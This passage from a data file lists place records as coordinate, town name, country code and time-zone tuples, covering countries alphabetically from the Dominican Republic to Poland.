de Barahona", "DO", "America/Santo_Domingo"), ("36.76639", "3.47717", "Boumerdas", "DZ", "Africa/Algiers"), ("36.72544", "3.55665", "Thenia", "DZ", "Africa/Algiers"), ("34.15429", "3.50309", "Messaad", "DZ", "Africa/Algiers"), ("35.21222", "2.31889", "Ksar Chellala", "DZ", "Africa/Algiers"), ("35.06544", "1.04945", "Frenda", "DZ", "Africa/Algiers"), ("36.06386", "4.62744", "El Achir", "DZ", "Africa/Algiers"), ("36.76775", "2.95924", "Cheraga", "DZ", "Africa/Algiers"), ("36.27462", "4.85668", "Bordj Zemoura", "DZ", "Africa/Algiers"), ("36.61954", "4.08282", "Beni Douala", "DZ", "Africa/Algiers"), ("-2.13404", "-79.59415", "Milagro", "EC", "America/Guayaquil"), ("-2.90055", "-79.00453", "Cuenca", "EC", "America/Guayaquil"), ("59.37722", "28.19028", "Narva", "EE", "Europe/Tallinn"), ("26.67319", "31.4976", "Juhaynah", "EG", "Africa/Cairo"), ("31.20176", "29.91582", "Alexandria", "EG", "Africa/Cairo"), ("39.96348", "-4.83076", "Talavera de la Reina", "ES", "Europe/Madrid"), ("37.35813", "-6.03731", "San Juan de Aznalfarache", "ES", "Europe/Madrid"), ("38.68712", "-4.10734", "Puertollano", "ES", "Europe/Madrid"), ("38.38479", "-0.76773", "Novelda", "ES", "Europe/Madrid"), ("27.76056", "-15.58602", "Maspalomas", "ES", "Atlantic/Canary"), ("38.47917", "-1.325", "Jumilla", "ES", "Europe/Madrid"), ("38.96667", "-0.18333", "Gandia", "ES", "Europe/Madrid"), ("38.10558", "-1.86343", "Caravaca", "ES", "Europe/Madrid"), ("37.49073", "-2.77259", "Baza", "ES", "Europe/Madrid"), ("42.64685", "-5.55835", "Villaquilambre", "ES", "Europe/Madrid"), ("42.06166", "-1.60452", "Tudela", "ES", "Europe/Madrid"), ("40.42386", "-3.53261", "San Fernando de Henares", "ES", "Europe/Madrid"), ("41.15612", "1.10687", "Reus", "ES", "Europe/Madrid"), ("41.91738", "3.1631", "Palafrugell", "ES", "Europe/Madrid"), ("43.32686", "-2.98884", "Leioa", "ES", "Europe/Madrid"), ("43.31667", "-2.68333", "Gernika-Lumo", "ES", "Europe/Madrid"), ("43.48961", "-8.2194", "Ferrol", "ES", "Europe/Madrid"), ("41.63976", "2.35739", "Cardedeu", "ES", "Europe/Madrid"), ("40.70995", "0.57856", "Amposta", "ES", "Europe/Madrid"), ("37.13548", "-3.67029", "Las Gabias", "ES", "Europe/Madrid"), ("42.8139", "-1.64295", "Segundo Ensanche", "ES", "Europe/Madrid"), ("41.41204", "2.18247", "el Camp de l'Arpa del Clot", "ES", "Europe/Madrid"), ("11.85", "38.01667", "Debre Tabor", "ET", "Africa/Addis_Ababa"), ("6.03333", "37.55", "Arba Minch", "ET", "Africa/Addis_Ababa"), ("65.84811", "24.14662", "Tornio", "FI", "Europe/Helsinki"), ("60.18427", "24.95034", "Kallio", "FI", "Europe/Helsinki"), ("60.2052", "24.6522", "Espoo", "FI", "Europe/Helsinki"), ("45.51667", "4.86667", "Vienne", "FR", "Europe/Paris"), ("44.92801", "4.8951", "Valence", "FR", "Europe/Paris"), ("44.80477", "-0.59543", "Talence", "FR", "Europe/Paris"), ("48.77644", "2.29026", "Sceaux", "FR", "Europe/Paris"), ("50.75", "2.25", "Saint-Omer", "FR", "Europe/Paris"), ("45.69558", "4.7934", "Saint-Genis-Laval", "FR", "Europe/Paris"), ("48.8765", "2.18967", "Rueil-Malmaison", "FR", "Europe/Paris"), ("48", "-4.1", "Quimper", "FR", "Europe/Paris"), ("43.11667", "1.6", "Pamiers", "FR", "Europe/Paris"), ("46.32313", "-0.45877", "Niort", "FR", "Europe/Paris"), ("43.61092", "3.87723", "Montpellier", "FR", "Europe/Paris"), ("48.98333", "2.61667", "Mitry-Mory", "FR", "Europe/Paris"), ("48.86667", "2.08333", "Marly-le-Roi", "FR", "Europe/Paris"), ("46.67535", "5.55575", "Lons-le-Saunier", "FR", "Europe/Paris"), ("43.32393", "5.4584", "Les Olives", "FR", "Europe/Paris"), ("48.8222", "2.12213", "Le Chesnay", "FR", "Europe/Paris"), ("48.90472", "2.2469", "La Garenne-Colombes", "FR", "Europe/Paris"), ("48.98994", "2.1699", "Herblay", "FR", "Europe/Paris"), ("48.98693", "2.44892", "Gonesse", "FR", "Europe/Paris"), ("48.79325", "2.29275", "Fontenay-aux-Roses", "FR", "Europe/Paris"), ("49.28669", "1.00288", "Elbeuf", "FR", "Europe/Paris"), ("43.71032", "-1.05366", "Dax", "FR", "Europe/Paris"), ("43.61058", "1.33467", "Colomiers", "FR", "Europe/Paris"), ("43.83125", "5.03586", "Cavaillon", "FR", "Europe/Paris"), ("45.73333", "4.91667", "Bron", "FR", "Europe/Paris"), ("48.90982", "2.45012", "Bobigny", "FR", "Europe/Paris"), ("48.77275", "5.16108", "Bar-le-Duc", "FR", "Europe/Paris"), ("43.67681", "4.63031", "Arles", "FR", "Europe/Paris"), ("41.91886", "8.73812", "Ajaccio", "FR", "Europe/Paris"), ("43.2907", "5.4384", "Marseille 11", "FR", "Europe/Paris"), ("-1.63333", "13.58357", "Franceville", "GA", "Africa/Libreville"), ("53.19146", "-2.52398", "Winsford", "GB", "Europe/London"), ("51.26", "-2.1875", "Westbury", "GB", "Europe/London"), ("51.84819", "1.26738", "Walton-on-the-Naze", "GB", "Europe/London"), ("52.41667", "0.75", "Thetford", "GB", "Europe/London"), ("51.39323", "0.47713", "Strood", "GB", "Europe/London"), ("50.79205", "-1.08593", "Southsea", "GB", "Europe/London"), ("53.78333", "-1.06667", "Selby", "GB", "Europe/London"), ("55.82885", "-4.21376", "Rutherglen", "GB", "Europe/London"), ("53.00974", "-3.05814", "Rhosllanerchrugog", "GB", "Europe/London"), ("53.83333", "-2.98333", "Poulton-le-Fylde", "GB", "Europe/London"), ("50.11861", "-5.53715", "Penzance", "GB", "Europe/London"), ("50.82882", "-0.32247", "Lancing", "GB", "Europe/London"), ("51.40148", "-1.32471", "Newbury", "GB", "Europe/London"), ("53.49389", "-1.29243", "Mexborough", "GB", "Europe/London"), ("50.75767", "-1.5443", "Lymington", "GB", "Europe/London"), ("53.69786", "-2.68758", "Leyland", "GB", "Europe/London"), ("53.7446", "-0.33525", "Kingston upon Hull", "GB", "Europe/London"), ("57.47908", "-4.22398", "Inverness", "GB", "Europe/London"), ("51.62907", "-0.74934", "High Wycombe", "GB", "Europe/London"), ("51.38673", "0.30367", "Hartley", "GB", "Europe/London"), ("52.66277", "-2.01111", "Great Wyrley", "GB", "Europe/London"), ("53.38333", "-0.76667", "Gainsborough", "GB", "Europe/London"), ("50.7236", "-3.52751", "Exeter", "GB", "Europe/London"), ("52.68333", "0.93333", "East Dereham", "GB", "Europe/London"), ("51.35084", "-1.99421", "Devizes", "GB", "Europe/London"), ("50.76306", "-1.29772", "Cowes", "GB", "Europe/London"), ("51.78967", "1.15597", "Clacton-on-Sea", "GB", "Europe/London"), ("53.46506", "-1.47217", "Chapletown", "GB", "Europe/London"), ("51.64316", "-0.36053", "Bushey", "GB", "Europe/London"), ("52.48173", "-2.12139", "Brierley Hill", "GB", "Europe/London"), ("53.81667", "-3.05", "Blackpool", "GB", "Europe/London"), ("53.0233", "-1.48119", "Belper", "GB", "Europe/London"), ("51.65", "-0.2", "Barnet", "GB", "Europe/London"), ("56.56317", "-2.58736", "Arbroath", "GB", "Europe/London"), ("57.14369", "-2.09814", "Aberdeen", "GB", "Europe/London"), ("51.39148", "-0.29825", "Surbiton", "GB", "Europe/London"), ("51.42708", "-0.91979", "Lower Earley", "GB", "Europe/London"), ("55.82737", "-4.0573", "Viewpark", "GB", "Europe/London"), ("41.82143", "41.77921", "Kobuleti", "GE", "Asia/Tbilisi"), ("5.30383", "-1.98956", "Tarkwa", "GH", "Africa/Accra"), ("7.06273", "-1.4001", "Mampong", "GH", "Africa/Accra"), ("6.46346", "-2.31938", "Bibiani", "GH", "Africa/Accra"), ("13.56667", "-15.6", "Farafenni", "GM", "Africa/Banjul"), ("9.535", "-13.68778", "Camayenne", "GN", "Africa/Conakry"), ("14.93333", "-91.11667", "Chichicastenango", "GT", "America/Guatemala"), ("22.37066", "114.10479", "Tsuen Wan", "HK", "Asia/Hong_Kong"), ("15.48131", "-86.57415", "Olanchito", "HN", "America/Tegucigalpa"), ("43.50891", "16.43915", "Split", "HR", "Europe/Zagreb"), ("18.65297", "-72.09391", "Thomazeau", "HT", "America/Port-au-Prince"), ("18.57677", "-72.22625", "Croix-des-Bouquets", "HT", "America/Port-au-Prince"), ("3.3285", "99.1625", "Tebingtinggi", "ID", "Asia/Jakarta"), ("3.7278", "98.6738", "Labuhan Deli", "ID", "Asia/Jakarta"), ("-7.51611", "109.05389", "Wangon", "ID", "Asia/Jakarta"), ("3.31332", "117.59152", "Tarakan", "ID", "Asia/Makassar"), ("-6.91806", "106.92667", "Sukabumi", "ID", "Asia/Jakarta"), ("-1.26424", "104.09701", "Simpang", "ID", "Asia/Jakarta"), ("-7.0981", "109.3243", "Randudongkal", "ID", "Asia/Jakarta"), ("0.51667", "101.44167", "Pekanbaru", "ID", "Asia/Jakarta"), ("-7.01833", "107.60389", "Pameungpeuk", "ID", "Asia/Jakarta"), ("-8.43333", "114.33333", "Muncar", "ID", "Asia/Jakarta"), ("-3.5403", "118.9707", "Majene", "ID", "Asia/Makassar"), ("-6.8048", "110.8405", "Kudus", "ID", "Asia/Jakarta"), ("-7.81667", "112.01667", "Kediri", "ID", "Asia/Jakarta"), ("-1.6", "103.61667", "Jambi City", "ID", "Asia/Jakarta"), ("-7.57897", "112.23109", "Diwek", "ID", "Asia/Jakarta"), ("-6.48167", "106.85417", "Cibinong", "ID", "Asia/Jakarta"), ("-7.73379", "113.69785", "Besuki", "ID", "Asia/Jakarta"), ("-1.26753", "116.82887", "Balikpapan", "ID", "Asia/Makassar"), ("-7.54972", "110.71639", "Ngemplak", "ID", "Asia/Jakarta"), ("53.53333", "-7.35", "An Muileann gCearr", "IE", "Europe/Dublin"), ("53.43333", "-7.95", "Athlone", "IE", "Europe/Dublin"), ("31.92923", "34.86563", "Ramla", "IL", "Asia/Jerusalem"), ("32.05971", "34.8732", "Ganei Tikva", "IL", "Asia/Jerusalem"), ("31.39547", "34.75699", "Rahat", "IL", "Asia/Jerusalem"), ("18.87813", "72.93924", "Uran", "IN", "Asia/Kolkata"), ("10.58806", "77.24779", "Udumalaippettai", "IN", "Asia/Kolkata"), ("9.82564", "78.25795", "Tiruppuvanam", "IN", "Asia/Kolkata"), ("25.49043", "85.94001", "Teghra", "IN", "Asia/Kolkata"), ("12.04161", "75.35927", "Talipparamba", "IN", "Asia/Kolkata"), ("26.11527", "86.59509", "Supaul", "IN", "Asia/Kolkata"), ("34.08565", "74.80555", "Srinagar", "IN", "Asia/Kolkata"), ("25.92493", "73.66633", "Sojat", "IN", "Asia/Kolkata"), ("14.62072", "74.83554", "Sirsi", "IN", "Asia/Kolkata"), ("25.13915", "73.06784", "Sheoganj", "IN", "Asia/Kolkata"), ("11.50526", "77.23826", "Sathyamangalam", "IN", "Asia/Kolkata"), ("21.46527", "83.97573", "Sambalpur", "IN", "Asia/Kolkata"), ("25.87498", "86.59611", "Saharsa", "IN", "Asia/Kolkata"), ("12.95629", "78.27539", "Robertsonpet", "IN", "Asia/Kolkata"), ("26.44931", "91.61356", "Rangia", "IN", "Asia/Kolkata"), ("33.37526", "74.3092", "Rajaori", "IN", "Asia/Kolkata"), ("24.81757", "84.63445", "Rafiganj", "IN", "Asia/Kolkata"), ("18.51957", "73.85535", "Pune", "IN", "Asia/Kolkata"), ("11.93381", "79.82979", "Puducherry", "IN", "Asia/Kolkata"), ("28.71271", "77.656", "Pilkhua", "IN", "Asia/Kolkata"), ("10.12268", "77.54372", "Periyakulam", "IN", "Asia/Kolkata"), ("31.28092", "74.85849", "Patti", "IN", "Asia/Kolkata"), ("20.88098", "75.11937", "Parola", "IN", "Asia/Kolkata"), ("23.07492", "88.28637", "Pandua", "IN", "Asia/Kolkata"), ("18.18158", "76.03889", "Osmanabad", "IN", "Asia/Kolkata"), ("25.6439", "77.9129", "Narwar", "IN", "Asia/Kolkata"), ("30.81383", "75.16878", "Moga", "IN", "Asia/Kolkata"), ("28.98002", "77.70636", "Meerut", "IN", "Asia/Kolkata"), ("11.12018", "76.11996", "Manjeri", "IN", "Asia/Kolkata"), ("30.21121", "74.4818", "Malaut", "IN", "Asia/Kolkata"), ("25.92127", "86.79271", "Madhipura", "IN", "Asia/Kolkata"), ("24.05979", "77.40858", "Leteri", "IN", "Asia/Kolkata"), ("21.34222", "71.30633", "Kundla", "IN", "Asia/Kolkata"), ("22.75218", "72.68533", "Kheda", "IN", "Asia/Kolkata"), ("23.1959", "86.51499", "Kenda", "IN", "Asia/Kolkata"), ("29.21399", "78.95693", "Kashipur", "IN", "Asia/Kolkata"), ("11.00599", "77.5609", "Kangayam", "IN", "Asia/Kolkata"), ("22.88783", "84.13864", "Jashpurnagar", "IN", "Asia/Kolkata"), ("26.2649", "81.54855", "Jais", "IN", "Asia/Kolkata"), ("16.06213", "76.0586", "Hungund", "IN", "Asia/Kolkata"), ("29.22254", "79.5286", "Haldwani", "IN", "Asia/Kolkata"), ("26.76628", "83.36889", "Gorakhpur", "IN", "Asia/Kolkata"), ("12.25282", "79.41727", "Gingee", "IN", "Asia/Kolkata"), ("21.53889", "71.57737", "Gariadhar", "IN", "Asia/Kolkata"), ("15.73628", "75.96976", "Gajendragarh", "IN", "Asia/Kolkata"), ("17.54907", "82.85749", "Elamanchili", "IN", "Asia/Kolkata"), ("19.21667", "73.08333", "Dombivli", "IN", "Asia/Kolkata"), ("22.19303", "88.18466", "Diamond Harbour", "IN", "Asia/Kolkata"), ("12.1277", "78.15794", "Dharmapuri", "IN", "Asia/Kolkata"), ("25.75728", "75.37991", "Deoli", "IN", "Asia/Kolkata"), ("14.46693", "75.92694", "Davangere", "IN", "Asia/Kolkata"), ("25.66795", "85.83636", "Dalsingh Sarai", "IN", "Asia/Kolkata"), ("15.5439", "73.7553", "Calangute", "IN", "Asia/Kolkata"), ("27.9247", "78.40102", "Chharra", "IN", "Asia/Kolkata"), ("32.55531", "76.12647", "Chamba", "IN", "Asia/Kolkata"), ("20.88197", "85.83334", "Bhuban", "IN", "Asia/Kolkata"), ("19.30157", "72.85107", "Bhayandar", "IN", "Asia/Kolkata"), ("15.45144", "78.14797", "Betamcherla", "IN", "Asia/Kolkata"), ("26.32293", "91.00632", "Barpeta", "IN", "Asia/Kolkata"), ("28.92694", "78.23456", "Bachhraon", "IN", "Asia/Kolkata"), ("21.59983", "71.21169", "Amreli", "IN", "Asia/Kolkata"), ("10.10649", "76.35484", "Alwaye", "IN", "Asia/Kolkata"), ("24.41288", "76.56719", "Aklera", "IN", "Asia/Kolkata"), ("23.49668", "86.68363", "Adra", "IN", "Asia/Kolkata"), ("22.4711", "88.1453", "Pujali", "IN", "Asia/Kolkata"), ("22.10194", "85.37752", "Barbil", "IN", "Asia/Kolkata"), ("17.34769", "78.55757", "Lal Bahadur Nagar", "IN", "Asia/Kolkata"), ("23.18", "88.58", "Aistala", "IN", "Asia/Kolkata"), ("9.57046", "76.32756", "Kalavoor", "IN", "Asia/Kolkata"), ("32.61603", "44.02488", "Karbala", "IQ", "Asia/Baghdad"), ("35.6803", "51.0193", "Shahre Jadide Andisheh", "IR", "Asia/Tehran"), ("36.64852", "51.49621", "Nowshahr", "IR", "Asia/Tehran"), ("33.14447", "47.3799", "Darreh Shahr", "IR", "Asia/Tehran"), ("33.86419", "48.26258", "Aleshtar", "IR", "Asia/Tehran"), ("32.65246", "51.67462", "Isfahan", "IR", "Asia/Tehran"), ("38.07789", "13.44275", "Villabate", "IT", "Europe/Rome"), ("36.92574", "14.72443", "Ragusa", "IT", "Europe/Rome"), ("37.51803", "15.00913", "Misterbianco", "IT", "Europe/Rome"), ("37.49223", "15.07041", "Catania", "IT", "Europe/Rome"), ("37.31065", "13.57661", "Agrigento", "IT", "Europe/Rome"), ("43.78956", "7.60872", "Ventimiglia", "IT", "Europe/Rome"), ("44.89784", "8.86374", "Tortona", "IT", "Europe/Rome"), ("40.87329", "14.43865", "Somma Vesuviana", "IT", "Europe/Rome"), ("40.72586", "8.55552", "Sassari", "IT", "Europe/Rome"), ("45.39402", "9.29109", "San Giuliano Milanese", "IT", "Europe/Rome"), ("42.67164", "14.01481", "Roseto degli Abruzzi", "IT", "Europe/Rome"), ("45.78071", "12.84052", "Portogruaro", "IT", "Europe/Rome"), ("43.1122", "12.38878", "Perugia", "IT", "Europe/Rome"), ("45.44694", "8.62118", "Novara", "IT", "Europe/Rome"), ("45.50369", "11.412", "Montecchio Maggiore-Alte Ceccato", "IT", "Europe/Rome"), ("40.55851", "17.80774", "Mesagne", "IT", "Europe/Rome"), ("45.79377", "8.88104", "Malnate", "IT", "Europe/Rome"), ("42.22718", "14.39024", "Lanciano", "IT", "Europe/Rome"), ("45.53069", "9.40531", "Gorgonzola", "IT", "Europe/Rome"), ("40.53123", "17.58522", "Francavilla Fontana", "IT", "Europe/Rome"), ("43.62558", "13.39954", "Falconara Marittima", "IT", "Europe/Rome"), ("45.9836", "12.70038", "Cordenons", "IT", "Europe/Rome"), ("44.31771", "9.32241", "Chiavari", "IT", "Europe/Rome"), ("44.59445", "11.04979", "Castelfranco Emilia", "IT", "Europe/Rome"), ("41.55947", "14.66737", "Campobasso", "IT", "Europe/Rome"), ("41.24264", "16.50104", "Bisceglie", "IT", "Europe/Rome"), ("41.72063", "12.6723", "Ariccia", "IT", "Europe/Rome"), ("40.92298", "14.30935", "Afragola", "IT", "Europe/Rome"), ("40.87363", "14.34085", "Volla", "IT", "Europe/Rome"), ("18.00747", "-76.78319", "New Kingston", "JM", "America/Jamaica"), ("35.8", "137.23333", "Gero", "JP", "Asia/Tokyo"), ("34.61667", "135.6", "Yao", "JP", "Asia/Tokyo"), ("34.75856", "136.13108", "Ueno-ebisumachi", "JP", "Asia/Tokyo"), ("34.81667", "137.4", "Toyokawa", "JP", "Asia/Tokyo"), ("34.4833", "136.84186", "Toba", "JP", "Asia/Tokyo"), ("36.65", "138.31667", "Suzaka", "JP", "Asia/Tokyo"), ("34.9", "137.5", "Shinshiro", "JP", "Asia/Tokyo"), ("35.06667", "135.21667", "Sasayama", "JP", "Asia/Tokyo"), ("36", "139.55722", "Okegawa", "JP", "Asia/Tokyo"), ("36.53333", "136.61667", "Nonoichi", "JP", "Asia/Tokyo"), ("36.75965", "137.36215", "Namerikawa", "JP", "Asia/Tokyo"), ("35", "136.51667", "Komono", "JP", "Asia/Tokyo"), ("33.4425", "129.96972", "Karatsu", "JP", "Asia/Tokyo"), ("35.30889", "139.55028", "Kamakura", "JP", "Asia/Tokyo"), ("34.25", "135.31667", "Iwade", "JP", "Asia/Tokyo"), ("35.82756", "137.95378", "Ina", "JP", "Asia/Tokyo"), ("33.3213", "130.94098", "Hita", "JP", "Asia/Tokyo"), ("36.24624", "139.07204", "Fujioka", "JP", "Asia/Tokyo"), ("36.33011", "138.89585", "Annaka", "JP", "Asia/Tokyo"), ("35.815", "139.6853", "Shimotoda", "JP", "Asia/Tokyo"), ("39.46667", "141.95", "Yamada", "JP", "Asia/Tokyo"), ("37.56667", "140.11667", "Inawashiro", "JP", "Asia/Tokyo"), ("43.82634", "144.09638", "Motomachi", "JP", "Asia/Tokyo"), ("44.35056", "142.45778", "Nayoro", "JP", "Asia/Tokyo"), ("41.77583", "140.73667", "Hakodate", "JP", "Asia/Tokyo"), ("35.48199", "137.02166", "Minokamo", "JP", "Asia/Tokyo"), ("0.03813", "36.36339", "Nyahururu", "KE", "Africa/Nairobi"), ("3.11988", "35.59642", "Lodwar", "KE", "Africa/Nairobi"), ("0.46005", "34.11169", "Busia", "KE", "Africa/Nairobi"), ("40.93333", "73", "Jalal-Abad", "KG", "Asia/Bishkek"), ("13.65805", "102.56365", "Paoy Paet", "KH", "Asia/Phnom_Penh"), ("36.82167", "128.63083", "Eisen", "KR", "Asia/Seoul"), ("37.1759", "128.9889", "T’aebaek", "KR", "Asia/Seoul"), ("36.20389", "127.08472", "Nonsan", "KR", "Asia/Seoul"), ("37.65639", "126.835", "Goyang-si", "KR", "Asia/Seoul"), ("36.6009", "126.665", "Hongseong", "KR", "Asia/Seoul"), ("34.8825", "128.62667", "Sinhyeon", "KR", "Asia/Seoul"), ("47.83333", "59.6", "Shalqar", "KZ", "Asia/Aqtobe"), ("47.46657", "84.87144", "Zaysan", "KZ", "Asia/Almaty"), ("44.85278", "65.50917", "Kyzylorda", "KZ", "Asia/Qyzylorda"), ("43.41949", "77.0202", "Otegen Batyra", "KZ", "Asia/Almaty"), ("6.84019", "79.87116", "Dehiwala-Mount Lavinia", "LK", "Asia/Colombo"), ("6.9909", "79.883", "Hendala", "LK", "Asia/Colombo"), ("7.57944", "-8.53778", "New Yekepa", "LR", "Africa/Monrovia"), ("55.25", "24.75", "Ukmerge", "LT", "Europe/Vilnius"), ("54.39635", "24.04142", "Alytus", "LT", "Europe/Vilnius"), ("30.75545", "20.22625", "Ajdabiya", "LY", "Africa/Tripoli"), ("24.96334", "10.18003", "Ghat", "LY", "Africa/Tripoli"), ("33.92866", "-6.90656", "Temara", "MA", "Africa/Casablanca"), ("33.42585", "-6.00137", "Oulmes", "MA", "Africa/Casablanca"), ("34.31", "-2.16", "Jerada", "MA", "Africa/Casablanca"), ("33.43443", "-5.22126", "Azrou", "MA", "Africa/Casablanca"), ("48.15659", "28.28489", "Soroca", "MD", "Europe/Chisinau"), ("42.28639", "18.84", "Budva", "ME", "Europe/Podgorica"), ("-22.9", "44.53333", "Sakaraha", "MG", "Indian/Antananarivo"), ("-21.15", "46.58333", "Ikalamavony", "MG", "Indian/Antananarivo"), ("-19.65", "47.31667", "Antanifotsy", "MG", "Indian/Antananarivo"), ("-17.83333", "48.41667", "Ambatondrazaka", "MG", "Indian/Antananarivo"), ("42", "21.32778", "Saraj", "MK", "Europe/Skopje"), ("41.92361", "20.91361", "Bogovinje", "MK", "Europe/Skopje"), ("12.74409", "-8.07257", "Kati", "ML", "Africa/Bamako"), ("14.0823", "98.19151", "Dawei", "MM", "Asia/Yangon"), ("16.68911", "98.50893", "Myawadi", "MM", "Asia/Yangon"), ("17.30858", "97.01124", "Kyaikto", "MM", "Asia/Yangon"), ("47.90771", "106.88324", "Ulan Bator", "MN", "Asia/Ulaanbaatar"), ("14.67751", "-60.94228", "Le Robert", "MQ", "America/Martinique"), ("35.89972", "14.51472", "Valletta", "MT", "Europe/Malta"), ("-13.7804", "34.4587", "Salima", "MW", "Africa/Blantyre"), ("16.75973", "-93.11308", "Tuxtla", "MX", "America/Mexico_City"), ("19.8173", "-97.35992", "Teziutlan", "MX", "America/Mexico_City"), ("21.28306", "-89.66123", "Progreso", "MX", "America/Merida"), ("17.06542", "-96.72365", "Oaxaca", "MX", "America/Mexico_City"), ("25.87972", "-97.50417", "Heroica Matamoros", "MX", "America/Matamoros"), ("19.32932", "-98.1664", "Contla", "MX", "America/Mexico_City"), ("17.94979", "-94.91386", "Acayucan", "MX", "America/Mexico_City"), ("19.32889", "-99.32556", "San Lorenzo Acopilco", "MX", "America/Mexico_City"), ("20.22816", "-103.5687", "Zacoalco de Torres", "MX", "America/Mexico_City"), ("20.74122", "-100.44843", "Santa Rosa Jauregui", "MX", "America/Mexico_City"), ("20.21322", "-100.88023", "Salvatierra", "MX", "America/Mexico_City"), ("19.64745", "-102.04897", "Paracho de Verduzco", "MX", "America/Mexico_City"), ("20.28527", "-103.42897", "Jocotepec", "MX", "America/Mexico_City"), ("21.01858", "-101.2591", "Guanajuato", "MX", "America/Mexico_City"), ("22.49396", "-105.36369", "Acaponeta", "MX", "America/Mazatlan"), ("19.04222", "-98.11889", "Casa Blanca", "MX", "America/Mexico_City"), ("1.6561", "103.6032", "Kulai", "MY", "Asia/Kuala_Lumpur"), ("5.90702", "116.10146", "Donggongon", "MY", "Asia/Kuching"), ("4.88441", "101.96857", "Gua Musang", "MY", "Asia/Kuala_Lumpur"), ("5.4709", "100.24529", "Batu Feringgi", "MY", "Asia/Kuala_Lumpur"), ("4.02219", "101.02083", "Teluk Intan", "MY", "Asia/Kuala_Lumpur"), ("1.6", "103.81667", "Ulu Tiram", "MY", "Asia/Kuala_Lumpur"), ("2.2139", "102.3278", "Kampung Ayer Molek", "MY", "Asia/Kuala_Lumpur"), ("-23.85972", "35.34722", "Maxixe", "MZ", "Africa/Maputo"), ("-21.98333", "16.91667", "Okahandja", "NA", "Africa/Windhoek"), ("13.70727", "9.15013", "Mirriah", "NE", "Africa/Niamey"), ("4.92675", "6.26764", "Yenagoa", "NG", "Africa/Lagos"), ("6.8485", "3.64633", "Shagamu", "NG", "Africa/Lagos"), ("7.6", "4.18333", "Olupona", "NG", "Africa/Lagos"), ("6.15038", "6.83042", "Nkpor", "NG", "Africa/Lagos"), ("6.45407", "3.39467", "Lagos", "NG", "Africa/Lagos"), ("9.58126", "8.2926", "Kafanchan", "NG", "Africa/Lagos"), ("7.62789", "4.74161", "Ilesa", "NG", "Africa/Lagos"), ("7.50251", "5.06258", "Igbara-Odo", "NG", "Africa/Lagos"), ("11.86064", "9.0027", "Gaya", "NG", "Africa/Lagos"), ("7.65649", "4.92235", "Efon-Alaaye", "NG", "Africa/Lagos"), ("10.61285", "12.19458", "Biu", "NG", "Africa/Lagos"), ("12.74482", "4.52514", "Argungu", "NG", "Africa/Lagos"), ("13.48082", "-86.58208", "Somoto", "NI", "America/Managua"), ("11.84962", "-86.19903", "Jinotepe", "NI", "America/Managua"), ("52.09", "5.23333", "Zeist", "NL", "Europe/Amsterdam"), ("51.65333", "5.2875", "Vught", "NL", "Europe/Amsterdam"), ("51.44889", "5.51978", "Tongelre", "NL", "Europe/Amsterdam"), ("51.95838", "4.47124", "Schiebroek", "NL", "Europe/Amsterdam"), ("52.31333", "6.92917", "Oldenzaal", "NL", "Europe/Amsterdam"), ("52.26083", "7.00417", "Losser", "NL", "Europe/Amsterdam"), ("53.16167", "6.76111", "Hoogezand", "NL", "Europe/Amsterdam"), ("52.57583", "6.61944", "Hardenberg", "NL", "Europe/Amsterdam"), ("52.71083", "5.74861", "Emmeloord", "NL", "Europe/Amsterdam"), ("51.955", "5.22778", "Culemborg", "NL", "Europe/Amsterdam"), ("52.14", "5.58472", "Barneveld", "NL", "Europe/Amsterdam"), ("68.79833", "16.54165", "Harstad", "NO", "Europe/Oslo"), ("-44.39672", "171.25364", "Timaru", "NZ", "Pacific/Auckland"), ("-38.65333", "178.00417", "Gisborne", "NZ", "Pacific/Auckland"), ("8.88988", "-79.62603", "Veracruz", "PA", "America/Panama"), ("9.15093", "-79.62098", "Chilibre", "PA", "America/Panama"), ("-3.74912", "-73.25383", "Iquitos", "PE", "America/Lima"), ("-16.25", "-69.08333", "Yunguyo", "PE", "America/Lima"), ("-15.21194", "-75.11028", "Minas de Marcona", "PE", "America/Lima"), ("-11.94306", "-76.70944", "Chosica", "PE", "America/Lima"), ("-5.85746", "144.23058", "Mount Hagen", "PG", "Pacific/Port_Moresby"), ("6.33444", "124.95278", "Tupi", "PH", "Asia/Manila"), ("10.7375", "122.9666", "Talisay", "PH", "Asia/Manila"), ("12.97389", "123.99333", "Sorsogon", "PH", "Asia/Manila"), ("9.3337", "122.8637", "Santa Catalina", "PH", "Asia/Manila"), ("12.35275", "121.06761", "San Jose", "PH", "Asia/Manila"), ("6.95194", "121.96361", "Recodo", "PH", "Asia/Manila"), ("14.66", "120.56528", "Pilar", "PH", "Asia/Manila"), ("10.20898", "123.758", "Naga", "PH", "Asia/Manila"), ("12.37169", "123.62494", "Masbate", "PH", "Asia/Manila"), ("16.0438", "120.4861", "Manaoag", "PH", "Asia/Manila"), ("10.13361", "124.84472", "Maasin", "PH", "Asia/Manila"), ("16.455", "120.5875", "La Trinidad", "PH", "Asia/Manila"), ("9.6531", "124.3697", "Jagna", "PH", "Asia/Manila"), ("14.8361", "120.97844", "Guyong", "PH", "Asia/Manila"), ("8.56697", "123.33471", "Dipolog", "PH", "Asia/Manila"), ("10.31672", "123.89071", "Cebu City", "PH", "Asia/Manila"), ("14.14989", "121.3152", "Calauan", "PH", "Asia/Manila"), ("15.72892", "120.57224", "Burgos", "PH", "Asia/Manila"), ("14.95472", "120.89694", "Baliuag", "PH", "Asia/Manila"), ("14.62578", "121.12251", "Antipolo", "PH", "Asia/Manila"), ("27.52948", "68.75915", "Khairpur Mir’s", "PK", "Asia/Karachi"), ("26.9423", "68.11759", "Tharu Shah", "PK", "Asia/Karachi"), ("31.82539", "72.54064", "Sillanwali", "PK", "Asia/Karachi"), ("31.71667", "73.38333", "Sangla Hill", "PK", "Asia/Karachi"), ("30.29184", "71.67164", "Qadirpur Ran", "PK", "Asia/Karachi"), ("31.96258", "73.97117", "Naushahra Virkan", "PK", "Asia/Karachi"), ("32.57756", "71.52847", "Mianwali", "PK", "Asia/Karachi"), ("27.55898", "68.21204", "Larkana", "PK", "Asia/Karachi"), ("30.46907", "70.96699", "Kot Addu", "PK", "Asia/Karachi"), ("30.76468", "74.12286", "Kanganpur", "PK", "Asia/Karachi"), ("25.95533", "68.88871", "Jhol", "PK", "Asia/Karachi"), ("29.69221", "72.54566", "Hasilpur", "PK", "Asia/Karachi"), ("32.17629", "75.06583", "Fazilpur", "PK", "Asia/Karachi"), ("32.87533", "71.57118", "Daud Khel", "PK", "Asia/Karachi"), ("25.80565", "68.49143", "Bhit Shah", "PK", "Asia/Karachi"), ("29.38242", "70.91106", "Alipur", "PK", "Asia/Karachi"), ("51.14942", "15.00835", "Zgorzelec", "PL", "Europe/Warsaw"), ("54.58048", "16.86194", "Ustka", "PL", 